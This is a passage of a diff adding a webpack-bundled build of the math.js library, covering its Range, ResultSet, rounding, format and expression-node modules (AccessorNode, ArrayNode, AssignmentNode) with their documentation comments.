* @memberof Range + * @param {Object | number | function} [options] Formatting options. See + * lib/utils/number:format for a + * description of the available + * options. + * @returns {string} str + */ + + + Range.prototype.format = function (options) { + var str = number.format(this.start, options); + + if (this.step !== 1) { + str += ':' + number.format(this.step, options); + } + + str += ':' + number.format(this.end, options); + return str; + }; + /** + * Get a string representation of the range. + * @memberof Range + * @returns {string} + */ + + + Range.prototype.toString = function () { + return this.format(); + }; + /** + * Get a JSON representation of the range + * @memberof Range + * @returns {Object} Returns a JSON object structured as: + * `{"mathjs": "Range", "start": 2, "end": 4, "step": 1}` + */ + + + Range.prototype.toJSON = function () { + return { + mathjs: 'Range', + start: this.start, + end: this.end, + step: this.step + }; + }; + /** + * Instantiate a Range from a JSON object + * @memberof Range + * @param {Object} json A JSON object structured as: + * `{"mathjs": "Range", "start": 2, "end": 4, "step": 1}` + * @return {Range} + */ + + + Range.fromJSON = function (json) { + return new Range(json.start, json.end, json.step); + }; + + return Range; +} + +exports.name = 'Range'; +exports.path = 'type'; +exports.factory = factory; + +/***/ }), +/* 107 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + /** + * A ResultSet contains a list or results + * @class ResultSet + * @param {Array} entries + * @constructor ResultSet + */ + function ResultSet(entries) { + if (!(this instanceof ResultSet)) { + throw new SyntaxError('Constructor must be called with the new operator'); + } + + this.entries = entries || []; + } + /** + * Attach type information + */ + + + ResultSet.prototype.type = 'ResultSet'; + ResultSet.prototype.isResultSet = true; + /** + * Returns the array with results hold by this ResultSet + * @memberof ResultSet + * @returns {Array} entries + */ + + ResultSet.prototype.valueOf = function () { + return this.entries; + }; + /** + * Returns the stringified results of the ResultSet + * @memberof ResultSet + * @returns {string} string + */ + + + ResultSet.prototype.toString = function () { + return '[' + this.entries.join(', ') + ']'; + }; + /** + * Get a JSON representation of the ResultSet + * @memberof ResultSet + * @returns {Object} Returns a JSON object structured as: + * `{"mathjs": "ResultSet", "entries": [...]}` + */ + + + ResultSet.prototype.toJSON = function () { + return { + mathjs: 'ResultSet', + entries: this.entries + }; + }; + /** + * Instantiate a ResultSet from a JSON object + * @memberof ResultSet + * @param {Object} json A JSON object structured as: + * `{"mathjs": "ResultSet", "entries": [...]}` + * @return {ResultSet} + */ + + + ResultSet.fromJSON = function (json) { + return new ResultSet(json.entries); + }; + + return ResultSet; +} + +exports.name = 'ResultSet'; +exports.path = 'type'; +exports.factory = factory; + +/***/ }), +/* 108 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var memoize = __webpack_require__(36).memoize; +/** + * Calculate BigNumber e + * @param {function} BigNumber BigNumber constructor + * @returns {BigNumber} Returns e + */ + + +exports.e = memoize(function (BigNumber) { + return new BigNumber(1).exp(); +}, hasher); +/** + * Calculate BigNumber golden ratio, phi = (1+sqrt(5))/2 + * @param {function} BigNumber BigNumber constructor + * @returns {BigNumber} Returns phi + */ + +exports.phi = memoize(function (BigNumber) { + return new BigNumber(1).plus(new BigNumber(5).sqrt()).div(2); +}, hasher); +/** + * Calculate BigNumber pi. + * @param {function} BigNumber BigNumber constructor + * @returns {BigNumber} Returns pi + */ + +exports.pi = memoize(function (BigNumber) { + return BigNumber.acos(-1); +}, hasher); +/** + * Calculate BigNumber tau, tau = 2 * pi + * @param {function} BigNumber BigNumber constructor + * @returns {BigNumber} Returns tau + */ + +exports.tau = memoize(function (BigNumber) { + return exports.pi(BigNumber).times(2); +}, hasher); +/** + * Create a hash for a BigNumber constructor function. The created has is + * the configured precision + * @param {Array} args Supposed to contain a single entry with + * a BigNumber constructor + * @return {number} precision + * @private + */ + +function hasher(args) { + return args[0].precision; +} + +/***/ }), +/* 109 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + var ceil = load(__webpack_require__(110)); + var floor = load(__webpack_require__(111)); + /** + * Round a value towards zero. + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.fix(x) + * + * Examples: + * + * math.fix(3.2) // returns number 3 + * math.fix(3.8) // returns number 3 + * math.fix(-4.2) // returns number -4 + * math.fix(-4.7) // returns number -4 + * + * const c = math.complex(3.2, -2.7) + * math.fix(c) // returns Complex 3 - 2i + * + * math.fix([3.2, 3.8, -4.7]) // returns Array [3, 3, -4] + * + * See also: + * + * ceil, floor, round + * + * @param {number | BigNumber | Fraction | Complex | Array | Matrix} x Number to be rounded + * @return {number | BigNumber | Fraction | Complex | Array | Matrix} Rounded value + */ + + var fix = typed('fix', { + 'number': function number(x) { + return x > 0 ? floor(x) : ceil(x); + }, + 'Complex': function Complex(x) { + return new type.Complex(x.re > 0 ? Math.floor(x.re) : Math.ceil(x.re), x.im > 0 ? Math.floor(x.im) : Math.ceil(x.im)); + }, + 'BigNumber': function BigNumber(x) { + return x.isNegative() ? ceil(x) : floor(x); + }, + 'Fraction': function Fraction(x) { + return x.s < 0 ? x.ceil() : x.floor(); + }, + 'Array | Matrix': function ArrayMatrix(x) { + // deep map collection, skip zeros since fix(0) = 0 + return deepMap(x, fix, true); + } + }); + fix.toTex = { + 1: "\\mathrm{${name}}\\left(${args[0]}\\right)" + }; + return fix; +} + +exports.name = 'fix'; +exports.factory = factory; + +/***/ }), +/* 110 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +var nearlyEqual = __webpack_require__(3).nearlyEqual; + +var bigNearlyEqual = __webpack_require__(32); + +function factory(type, config, load, typed) { + var round = load(__webpack_require__(67)); + /** + * Round a value towards plus infinity + * If `x` is complex, both real and imaginary part are rounded towards plus infinity. + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.ceil(x) + * + * Examples: + * + * math.ceil(3.2) // returns number 4 + * math.ceil(3.8) // returns number 4 + * math.ceil(-4.2) // returns number -4 + * math.ceil(-4.7) // returns number -4 + * + * const c = math.complex(3.2, -2.7) + * math.ceil(c) // returns Complex 4 - 2i + * + * math.ceil([3.2, 3.8, -4.7]) // returns Array [4, 4, -4] + * + * See also: + * + * floor, fix, round + * + * @param {number | BigNumber | Fraction | Complex | Array | Matrix} x Number to be rounded + * @return {number | BigNumber | Fraction | Complex | Array | Matrix} Rounded value + */ + + var ceil = typed('ceil', { + 'number': function number(x) { + if (nearlyEqual(x, round(x), config.epsilon)) { + return round(x); + } else { + return Math.ceil(x); + } + }, + 'Complex': function Complex(x) { + return x.ceil(); + }, + 'BigNumber': function BigNumber(x) { + if (bigNearlyEqual(x, round(x), config.epsilon)) { + return round(x); + } else { + return x.ceil(); + } + }, + 'Fraction': function Fraction(x) { + return x.ceil(); + }, + 'Array | Matrix': function ArrayMatrix(x) { + // deep map collection, skip zeros since ceil(0) = 0 + return deepMap(x, ceil, true); + } + }); + ceil.toTex = { + 1: "\\left\\lceil${args[0]}\\right\\rceil" + }; + return ceil; +} + +exports.name = 'ceil'; +exports.factory = factory; + +/***/ }), +/* 111 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +var nearlyEqual = __webpack_require__(3).nearlyEqual; + +var bigNearlyEqual = __webpack_require__(32); + +function factory(type, config, load, typed) { + var round = load(__webpack_require__(67)); + /** + * Round a value towards minus infinity. + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.floor(x) + * + * Examples: + * + * math.floor(3.2) // returns number 3 + * math.floor(3.8) // returns number 3 + * math.floor(-4.2) // returns number -5 + * math.floor(-4.7) // returns number -5 + * + * const c = math.complex(3.2, -2.7) + * math.floor(c) // returns Complex 3 - 3i + * + * math.floor([3.2, 3.8, -4.7]) // returns Array [3, 3, -5] + * + * See also: + * + * ceil, fix, round + * + * @param {number | BigNumber | Fraction | Complex | Array | Matrix} x Number to be rounded + * @return {number | BigNumber | Fraction | Complex | Array | Matrix} Rounded value + */ + + var floor = typed('floor', { + 'number': function number(x) { + if (nearlyEqual(x, round(x), config.epsilon)) { + return round(x); + } else { + return Math.floor(x); + } + }, + 'Complex': function Complex(x) { + return x.floor(); + }, + 'BigNumber': function BigNumber(x) { + if (bigNearlyEqual(x, round(x), config.epsilon)) { + return round(x); + } else { + return x.floor(); + } + }, + 'Fraction': function Fraction(x) { + return x.floor(); + }, + 'Array | Matrix': function ArrayMatrix(x) { + // deep map collection, skip zeros since floor(0) = 0 + return deepMap(x, floor, true); + } + }); + floor.toTex = { + 1: "\\left\\lfloor${args[0]}\\right\\rfloor" + }; + return floor; +} + +exports.name = 'floor'; +exports.factory = factory; + +/***/ }), +/* 112 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var string = __webpack_require__(9); + +function factory(type, config, load, typed) { + /** + * Format a value of any type into a string. + * + * Syntax: + * + * math.format(value) + * math.format(value, options) + * math.format(value, precision) + * math.format(value, callback) + * + * Where: + * + * - `value: *` + * The value to be formatted + * - `options: Object` + * An object with formatting options. Available options: + * - `notation: string` + * Number notation. Choose from: + * - 'fixed' + * Always use regular number notation. + * For example '123.40' and '14000000' + * - 'exponential' + * Always use exponential notation. + * For example '1.234e+2' and '1.4e+7' + * - 'engineering' + * Always use engineering notation. + * For example '123.4e+0' and '14.0e+6' + * - 'auto' (default) + * Regular number notation for numbers having an absolute value between + * `lower` and `upper` bounds, and uses exponential notation elsewhere. + * Lower bound is included, upper bound is excluded. + * For example '123.4' and '1.4e7'. + * - `precision: number` + * A number between 0 and 16 to round the digits of the number. In case + * of notations 'exponential', 'engineering', and 'auto', `precision` + * defines the total number of significant digits returned. + * In case of notation 'fixed', `precision` defines the number of + * significant digits after the decimal point. + * `precision` is undefined by default. + * - `lowerExp: number` + * Exponent determining the lower boundary for formatting a value with + * an exponent when `notation='auto`. Default value is `-3`. + * - `upperExp: number` + * Exponent determining the upper boundary for formatting a value with + * an exponent when `notation='auto`. Default value is `5`. + * - `fraction: string`. Available values: 'ratio' (default) or 'decimal'. + * For example `format(fraction(1, 3))` will output '1/3' when 'ratio' is + * configured, and will output `0.(3)` when 'decimal' is configured. + * - `callback: function` + * A custom formatting function, invoked for all numeric elements in `value`, + * for example all elements of a matrix, or the real and imaginary + * parts of a complex number. This callback can be used to override the + * built-in numeric notation with any type of formatting. Function `callback` + * is called with `value` as parameter and must return a string. + * + * When `value` is an Object: + * + * - When the object contains a property `format` being a function, this function + * is invoked as `value.format(options)` and the result is returned. + * - When the object has its own `toString` method, this method is invoked + * and the result is returned. + * - In other cases the function will loop over all object properties and + * return JSON object notation like '{"a": 2, "b": 3}'. + * + * When value is a function: + * + * - When the function has a property `syntax`, it returns this + * syntax description. + * - In other cases, a string `'function'` is returned. + * + * Examples: + * + * math.format(6.4) // returns '6.4' + * math.format(1240000) // returns '1.24e6' + * math.format(1/3) // returns '0.3333333333333333' + * math.format(1/3, 3) // returns '0.333' + * math.format(21385, 2) // returns '21000' + * math.format(12e8, {notation: 'fixed'}) // returns '1200000000' + * math.format(2.3, {notation: 'fixed', precision: 4}) // returns '2.3000' + * math.format(52.8, {notation: 'exponential'}) // returns '5.28e+1' + * math.format(12400,{notation: 'engineering'}) // returns '12.400e+3' + * math.format(2000, {lowerExp: -2, upperExp: 2}) // returns '2e+3' + * + * function formatCurrency(value) { + * // return currency notation with two digits: + * return '$' + value.toFixed(2) + * + * // you could also use math.format inside the callback: + * // return '$' + math.format(value, {notation: 'fixed', precision: 2}) + * } + * math.format([2.1, 3, 0.016], formatCurrency} // returns '[$2.10, $3.00, $0.02]' + * + * See also: + * + * print + * + * @param {*} value Value to be stringified + * @param {Object | Function | number} [options] Formatting options + * @return {string} The formatted value + */ + var format = typed('format', { + 'any': string.format, + 'any, Object | function | number': string.format + }); + format.toTex = undefined; // use default template + + return format; +} + +exports.name = 'format'; +exports.factory = factory; + +/***/ }), +/* 113 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var getSafeProperty = __webpack_require__(13).getSafeProperty; + +function factory(type, config, load, typed) { + var Node = load(__webpack_require__(16)); + var access = load(__webpack_require__(115)); + /** + * @constructor AccessorNode + * @extends {Node} + * Access an object property or get a matrix subset + * + * @param {Node} object The object from which to retrieve + * a property or subset. + * @param {IndexNode} index IndexNode containing ranges + */ + + function AccessorNode(object, index) { + if (!(this instanceof AccessorNode)) { + throw new SyntaxError('Constructor must be called with the new operator'); + } + + if (!type.isNode(object)) { + throw new TypeError('Node expected for parameter "object"'); + } + + if (!type.isIndexNode(index)) { + throw new TypeError('IndexNode expected for parameter "index"'); + } + + this.object = object || null; + this.index = index; // readonly property name + + Object.defineProperty(this, 'name', { + get: function () { + if (this.index) { + return this.index.isObjectProperty() ? this.index.getObjectProperty() : ''; + } else { + return this.object.name || ''; + } + }.bind(this), + set: function set() { + throw new Error('Cannot assign a new name, name is read-only'); + } + }); + } + + AccessorNode.prototype = new Node(); + AccessorNode.prototype.type = 'AccessorNode'; + AccessorNode.prototype.isAccessorNode = true; + /** + * Compile a node into a JavaScript function. + * This basically pre-calculates as much as possible and only leaves open + * calculations which depend on a dynamic scope with variables. + * @param {Object} math Math.js namespace with functions and constants. + * @param {Object} argNames An object with argument names as key and `true` + * as value. Used in the SymbolNode to optimize + * for arguments from user assigned functions + * (see FunctionAssignmentNode) or special symbols + * like `end` (see IndexNode). + * @return {function} Returns a function which can be called like: + * evalNode(scope: Object, args: Object, context: *) + */ + + AccessorNode.prototype._compile = function (math, argNames) { + var evalObject = this.object._compile(math, argNames); + + var evalIndex = this.index._compile(math, argNames); + + if (this.index.isObjectProperty()) { + var prop = this.index.getObjectProperty(); + return function evalAccessorNode(scope, args, context) { + return getSafeProperty(evalObject(scope, args, context), prop); + }; + } else { + return function evalAccessorNode(scope, args, context) { + var object = evalObject(scope, args, context); + var index = evalIndex(scope, args, object); // we pass object here instead of context + + return access(object, index); + }; + } + }; + /** + * Execute a callback for each of the child nodes of this node + * @param {function(child: Node, path: string, parent: Node)} callback + */ + + + AccessorNode.prototype.forEach = function (callback) { + callback(this.object, 'object', this); + callback(this.index, 'index', this); + }; + /** + * Create a new AccessorNode having it's childs be the results of calling + * the provided callback function for each of the childs of the original node. + * @param {function(child: Node, path: string, parent: Node): Node} callback + * @returns {AccessorNode} Returns a transformed copy of the node + */ + + + AccessorNode.prototype.map = function (callback) { + return new AccessorNode(this._ifNode(callback(this.object, 'object', this)), this._ifNode(callback(this.index, 'index', this))); + }; + /** + * Create a clone of this node, a shallow copy + * @return {AccessorNode} + */ + + + AccessorNode.prototype.clone = function () { + return new AccessorNode(this.object, this.index); + }; + /** + * Get string representation + * @param {Object} options + * @return {string} + */ + + + AccessorNode.prototype._toString = function (options) { + var object = this.object.toString(options); + + if (needParenthesis(this.object)) { + object = '(' + object + ')'; + } + + return object + this.index.toString(options); + }; + /** + * Get HTML representation + * @param {Object} options + * @return {string} + */ + + + AccessorNode.prototype.toHTML = function (options) { + var object = this.object.toHTML(options); + + if (needParenthesis(this.object)) { + object = '(' + object + ')'; + } + + return object + this.index.toHTML(options); + }; + /** + * Get LaTeX representation + * @param {Object} options + * @return {string} + */ + + + AccessorNode.prototype._toTex = function (options) { + var object = this.object.toTex(options); + + if (needParenthesis(this.object)) { + object = "\\left(' + object + '\\right)"; + } + + return object + this.index.toTex(options); + }; + /** + * Get a JSON representation of the node + * @returns {Object} + */ + + + AccessorNode.prototype.toJSON = function () { + return { + mathjs: 'AccessorNode', + object: this.object, + index: this.index + }; + }; + /** + * Instantiate an AccessorNode from its JSON representation + * @param {Object} json An object structured like + * `{"mathjs": "AccessorNode", object: ..., index: ...}`, + * where mathjs is optional + * @returns {AccessorNode} + */ + + + AccessorNode.fromJSON = function (json) { + return new AccessorNode(json.object, json.index); + }; + /** + * Are parenthesis needed? + * @private + */ + + + function needParenthesis(node) { + // TODO: maybe make a method on the nodes which tells whether they need parenthesis? + return !(type.isAccessorNode(node) || type.isArrayNode(node) || type.isConstantNode(node) || type.isFunctionNode(node) || type.isObjectNode(node) || type.isParenthesisNode(node) || type.isSymbolNode(node)); + } + + return AccessorNode; +} + +exports.name = 'AccessorNode'; +exports.path = 'expression.node'; +exports.factory = factory; + +/***/ }), +/* 114 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + // Reserved keywords not allowed to use in the parser + +module.exports = { + end: true +}; + +/***/ }), +/* 115 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } + +var errorTransform = __webpack_require__(22).transform; + +var getSafeProperty = __webpack_require__(13).getSafeProperty; + +function factory(type, config, load, typed) { + var subset = load(__webpack_require__(23)); + /** + * Retrieve part of an object: + * + * - Retrieve a property from an object + * - Retrieve a part of a string + * - Retrieve a matrix subset + * + * @param {Object | Array | Matrix | string} object + * @param {Index} index + * @return {Object | Array | Matrix | string} Returns the subset + */ + + return function access(object, index) { + try { + if (Array.isArray(object)) { + return subset(object, index); + } else if (object && typeof object.subset === 'function') { + // Matrix + return object.subset(index); + } else if (typeof object === 'string') { + // TODO: move getStringSubset into a separate util file, use that + return subset(object, index); + } else if (_typeof(object) === 'object') { + if (!index.isObjectProperty()) { + throw new TypeError('Cannot apply a numeric index as object property'); + } + + return getSafeProperty(object, index.getObjectProperty()); + } else { + throw new TypeError('Cannot apply index: unsupported type of object'); + } + } catch (err) { + throw errorTransform(err); + } + }; +} + +exports.factory = factory; + +/***/ }), +/* 116 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var map = __webpack_require__(2).map; + +function factory(type, config, load, typed) { + var Node = load(__webpack_require__(16)); + /** + * @constructor ArrayNode + * @extends {Node} + * Holds an 1-dimensional array with items + * @param {Node[]} [items] 1 dimensional array with items + */ + + function ArrayNode(items) { + if (!(this instanceof ArrayNode)) { + throw new SyntaxError('Constructor must be called with the new operator'); + } + + this.items = items || []; // validate input + + if (!Array.isArray(this.items) || !this.items.every(type.isNode)) { + throw new TypeError('Array containing Nodes expected'); + } // TODO: deprecated since v3, remove some day + + + var deprecated = function deprecated() { + throw new Error('Property `ArrayNode.nodes` is deprecated, use `ArrayNode.items` instead'); + }; + + Object.defineProperty(this, 'nodes', { + get: deprecated, + set: deprecated + }); + } + + ArrayNode.prototype = new Node(); + ArrayNode.prototype.type = 'ArrayNode'; + ArrayNode.prototype.isArrayNode = true; + /** + * Compile a node into a JavaScript function. + * This basically pre-calculates as much as possible and only leaves open + * calculations which depend on a dynamic scope with variables. + * @param {Object} math Math.js namespace with functions and constants. + * @param {Object} argNames An object with argument names as key and `true` + * as value. Used in the SymbolNode to optimize + * for arguments from user assigned functions + * (see FunctionAssignmentNode) or special symbols + * like `end` (see IndexNode). + * @return {function} Returns a function which can be called like: + * evalNode(scope: Object, args: Object, context: *) + */ + + ArrayNode.prototype._compile = function (math, argNames) { + var evalItems = map(this.items, function (item) { + return item._compile(math, argNames); + }); + var asMatrix = math.config().matrix !== 'Array'; + + if (asMatrix) { + var matrix = math.matrix; + return function evalArrayNode(scope, args, context) { + return matrix(map(evalItems, function (evalItem) { + return evalItem(scope, args, context); + })); + }; + } else { + return function evalArrayNode(scope, args, context) { + return map(evalItems, function (evalItem) { + return evalItem(scope, args, context); + }); + }; + } + }; + /** + * Execute a callback for each of the child nodes of this node + * @param {function(child: Node, path: string, parent: Node)} callback + */ + + + ArrayNode.prototype.forEach = function (callback) { + for (var i = 0; i < this.items.length; i++) { + var node = this.items[i]; + callback(node, 'items[' + i + ']', this); + } + }; + /** + * Create a new ArrayNode having it's childs be the results of calling + * the provided callback function for each of the childs of the original node. + * @param {function(child: Node, path: string, parent: Node): Node} callback + * @returns {ArrayNode} Returns a transformed copy of the node + */ + + + ArrayNode.prototype.map = function (callback) { + var items = []; + + for (var i = 0; i < this.items.length; i++) { + items[i] = this._ifNode(callback(this.items[i], 'items[' + i + ']', this)); + } + + return new ArrayNode(items); + }; + /** + * Create a clone of this node, a shallow copy + * @return {ArrayNode} + */ + + + ArrayNode.prototype.clone = function () { + return new ArrayNode(this.items.slice(0)); + }; + /** + * Get string representation + * @param {Object} options + * @return {string} str + * @override + */ + + + ArrayNode.prototype._toString = function (options) { + var items = this.items.map(function (node) { + return node.toString(options); + }); + return '[' + items.join(', ') + ']'; + }; + /** + * Get a JSON representation of the node + * @returns {Object} + */ + + + ArrayNode.prototype.toJSON = function () { + return { + mathjs: 'ArrayNode', + items: this.items + }; + }; + /** + * Instantiate an ArrayNode from its JSON representation + * @param {Object} json An object structured like + * `{"mathjs": "ArrayNode", items: [...]}`, + * where mathjs is optional + * @returns {ArrayNode} + */ + + + ArrayNode.fromJSON = function (json) { + return new ArrayNode(json.items); + }; + /** + * Get HTML representation + * @param {Object} options + * @return {string} str + * @override + */ + + + ArrayNode.prototype.toHTML = function (options) { + var items = this.items.map(function (node) { + return node.toHTML(options); + }); + return '[' + items.join(',') + ']'; + }; + /** + * Get LaTeX representation + * @param {Object} options + * @return {string} str + */ + + + ArrayNode.prototype._toTex = function (options) { + var s = '\\begin{bmatrix}'; + this.items.forEach(function (node) { + if (node.items) { + s += node.items.map(function (childNode) { + return childNode.toTex(options); + }).join('&'); + } else { + s += node.toTex(options); + } // new line + + + s += '\\\\'; + }); + s += '\\end{bmatrix}'; + return s; + }; + + return ArrayNode; +} + +exports.name = 'ArrayNode'; +exports.path = 'expression.node'; +exports.factory = factory; + +/***/ }), +/* 117 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var getSafeProperty = __webpack_require__(13).getSafeProperty; + +var setSafeProperty = __webpack_require__(13).setSafeProperty; + +function factory(type, config, load, typed) { + var Node = load(__webpack_require__(16)); + var assign = load(__webpack_require__(205)); + var access = load(__webpack_require__(115)); + + var operators = __webpack_require__(53); + /** + * @constructor AssignmentNode + * @extends {Node} + * + * Define a symbol, like `a=3.2`, update a property like `a.b=3.2`, or + * replace a subset of a matrix like `A[2,2]=42`. + * + * Syntax: + * + * new AssignmentNode(symbol, value) + * new AssignmentNode(object, index, value) + * + * Usage: + * + * new AssignmentNode(new SymbolNode('a'), new ConstantNode(2)) // a=2 + * new AssignmentNode(new SymbolNode('a'), new IndexNode('b'), new ConstantNode(2)) // a.b=2 + * new AssignmentNode(new SymbolNode('a'), new IndexNode(1, 2), new ConstantNode(3)) // a[1,2]=3 + * + * @param {SymbolNode | AccessorNode} object Object on which to assign a value + * @param {IndexNode} [index=null] Index, property name or matrix + * index. Optional. If not provided + * and `object` is a SymbolNode, + * the property is assigned to the + * global scope. + * @param {Node} value The value to be assigned + */ + + + function AssignmentNode(object, index, value) { + if (!(this instanceof AssignmentNode)) { + throw new SyntaxError('Constructor must be called with the new operator'); + } + + this.object = object; + this.index = value ? index : null; + this.value = value || index; // validate input + + if (!type.isSymbolNode(object) && !type.isAccessorNode(object)) { + throw new TypeError('SymbolNode or AccessorNode expected as "object"'); + } + + if (type.isSymbolNode(object) && object.name === 'end') { + throw new Error('Cannot assign to symbol "end"'); + } + + if (this.index && !type.isIndexNode(this.index)) { + // index is optional + throw new TypeError('IndexNode expected as "index"'); + } + + if (!type.isNode(this.value)) { + throw new TypeError('Node expected as "value"'); + } // readonly property name + + + Object.defineProperty(this, 'name', { + get: function () { + if (this.index) { + return this.index.isObjectProperty() ? this.index.getObjectProperty() : ''; + } else { + return this.object.name || ''; + } + }.bind(this), + set: function set() { + throw new Error('Cannot assign a new name, name is read-only'); + } + }); + } + + AssignmentNode.prototype = new Node(); + AssignmentNode.prototype.type = 'AssignmentNode'; + AssignmentNode.prototype.isAssignmentNode = true; + /** + * Compile a node into a JavaScript function. + * This basically pre-calculates as much as possible and only leaves open + * calculations which depend on a dynamic scope with variables. + * @param {Object} math Math.js namespace with functions and constants. + * @param {Object} argNames An object with argument names as key and `true` + * as value. Used in the SymbolNode to optimize + * for arguments from user assigned functions + * (see FunctionAssignmentNode) or special symbols + * like `end` (see IndexNode). + * @return {function} Returns a function which can be called like: + * evalNode(scope: Object, args: Object, context: *) + */ + + AssignmentNode.prototype._compile = function (math, argNames) { + var evalObject = this.object._compile(math, argNames); + + var evalIndex = this.index ? this.index._compile(math, argNames) : null; + + var evalValue = this.value._compile(math, argNames); + + var name = this.object.name; + + if (!this.index) { + // apply a variable to the scope, for example `a=2` + if (!type.isSymbolNode(this.object)) { + throw new TypeError('SymbolNode expected as object'); + } + + return function evalAssignmentNode(scope, args, context) { + return setSafeProperty(scope, name, evalValue(scope, args, context)); + }; + } else if (this.index.isObjectProperty()) { + // apply an object property for example `a.b=2` + var prop = this.index.getObjectProperty(); + return function evalAssignmentNode(scope, args, context) { + var object = evalObject(scope, args, context); + var value = evalValue(scope, args, context); + return setSafeProperty(object, prop, value); + }; + } else if (type.isSymbolNode(this.object)) { + // update a matrix subset, for example `a[2]=3` + return function evalAssignmentNode(scope, args, context) { + var childObject = evalObject(scope, args, context); + var value = evalValue(scope, args, context); + var index = evalIndex(scope, args, childObject); // Important: we pass childObject instead of context + + setSafeProperty(scope, name, assign(childObject, index, value)); + return value; + }; + } else { + // type.isAccessorNode(node.object) === true + // update a matrix subset, for example `a.b[2]=3` + // we will not use the compile function of the AccessorNode, but compile it + // ourselves here as we need the parent object of the AccessorNode: + // wee need to apply the updated object to parent object + var evalParentObject = this.object.object._compile(math, argNames); + + if (this.object.index.isObjectProperty()) { + var parentProp = this.object.index.getObjectProperty(); + return function evalAssignmentNode(scope, args, context) { + var parent = evalParentObject(scope, args, context); + var childObject = getSafeProperty(parent, parentProp); + var index = evalIndex(scope, args, childObject); // Important: we pass childObject instead of context + + var value = evalValue(scope, args, context); + setSafeProperty(parent, parentProp, assign(childObject, index, value)); + return value; + }; + } else { + // if some parameters use the 'end' parameter, we need to calculate the size + var evalParentIndex = this.object.index._compile(math, argNames); + + return function evalAssignmentNode(scope, args, context) { + var parent = evalParentObject(scope, args, context); + var parentIndex = evalParentIndex(scope, args, parent); // Important: we pass parent instead of context + + var childObject = access(parent, parentIndex); + var index = evalIndex(scope, args, childObject); // Important: we pass childObject instead of context + + var value = evalValue(scope, args, context); + assign(parent, parentIndex, assign(childObject, index, value)); + return value; + }; + } + } + }; + /** + * Execute a callback for each of the child nodes of this node + * @param {function(child: Node, path: string, parent: Node)} callback + */ + + + AssignmentNode.prototype.forEach = function (callback) { + callback(this.object, 'object', this); + + if (this.index) { + callback(this.index, 'index', this); + } + + callback(this.value, 'value', this); + }; + /** + * Create a new AssignmentNode having it's childs be the results of calling + * the provided callback function for each of the childs of the original node. + * @param {function(child: Node, path: string, parent: Node): Node} callback + * @returns {AssignmentNode} Returns a transformed copy of the node + */ + + + AssignmentNode.prototype.map = function (callback) { + var object = this._ifNode(callback(this.object, 'object', this)); + + var index = this.index ? this._ifNode(callback(this.index, 'index', this)) : null; + + var value = this._ifNode(callback(this.value, 'value', this)); + + return new AssignmentNode(object, index, value); + }; + /** + * Create a clone of this node, a shallow copy + * @return {AssignmentNode} + */ + + + AssignmentNode.prototype.clone = function () { + return new AssignmentNode(this.object, this.index, this.value); + }; + /* + * Is parenthesis needed? + * @param {node} node + * @param {string} [parenthesis='keep'] + * @private + */ + + + function needParenthesis(node, parenthesis) { + if (!parenthesis) { + parenthesis = 'keep'; + } + + var precedence = operators.getPrecedence(node, parenthesis); + var exprPrecedence = operators.getPrecedence(node.value, parenthesis); + return parenthesis === 'all' || exprPrecedence !== null && exprPrecedence <= precedence; + } + /** + * Get string representation + * @param {Object} options + * @return {string} + */ + + + AssignmentNode.prototype._toString = function (options) { + var object = this.object.toString(options); + var index = this.index ? this.index.toString(options) : ''; + var value = this.value.toString(options); + + if (needParenthesis(this, options && options.parenthesis)) { + value = '(' + value + ')'; + } + + return object + index + ' = ' + value; + }; + /** + * Get a JSON representation of the node + * @returns {Object} + */ + + + AssignmentNode.prototype.toJSON = function () { + return { + mathjs: 'AssignmentNode', + object: this.object, + index: this.index, + value: this.value + }; + }; + /** + * Instantiate an AssignmentNode from its JSON representation + * @param {Object} json An object structured like + * `{"mathjs": "AssignmentNode", object: ..., index: ..., value: ...}`, + * where mathjs is optional + * @returns {AssignmentNode} + */ + + + AssignmentNode.fromJSON = function (json) { + return new AssignmentNode(json.object, json.index, json.value); + }; + /** + * Get HTML representation + * @param {Object} options + * @return {string} + */ + + + AssignmentNode.prototype.toHTML = function (options) { + var object = this.object.toHTML(options); + var index = this.index ? this.index.toHTML(options) : ''; + var value = this.value.toHTML(options); + + if (needParenthesis(this, options && options.parenthesis)) { + value = '(' + value + ')'; + } + + return object + index + '=' + value; + }; + /** + * Get LaTeX representation + * @param {Object} options + * @return {string} + */ + + + AssignmentNode.prototype._toTex = function (options) { + var object = this.object.toTex(options); + var index = this.index ? this.index.toTex(options) : ''; + var value = this.value.toTex(options); + + if (needParenthesis(this, options && options.parenthesis)) { + value = "\\left(".concat(value, "\\right)"); + } + + return object + index + ':=' + value; + }; + + return AssignmentNode; +} + +exports.name = 'AssignmentNode'; +exports.path = 'expression.node'; +exports.factory = factory; + +/***/ }), +/* 118 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var forEach = __webpack_require__(2).forEach; + +var map = __webpack_require__(2).map; + +function factory(type, config, load, typed) { + var Node = load(__webpack_require__(16)); + var ResultSet = load(__webpack_require__(107)); + /** + * @constructor BlockNode + * @extends {Node} + * Holds a set with blocks + * @param {Array.<{node: Node} | {node: Node, visible: boolean}>} blocks + * An array with blocks, where a block is constructed as an Object + * with properties block, which is a Node, and visible, which is + * a boolean. The property visible is optional and is true by default + */ + + function BlockNode(blocks) { + if (!(this instanceof BlockNode)) { + throw new SyntaxError('Constructor must be 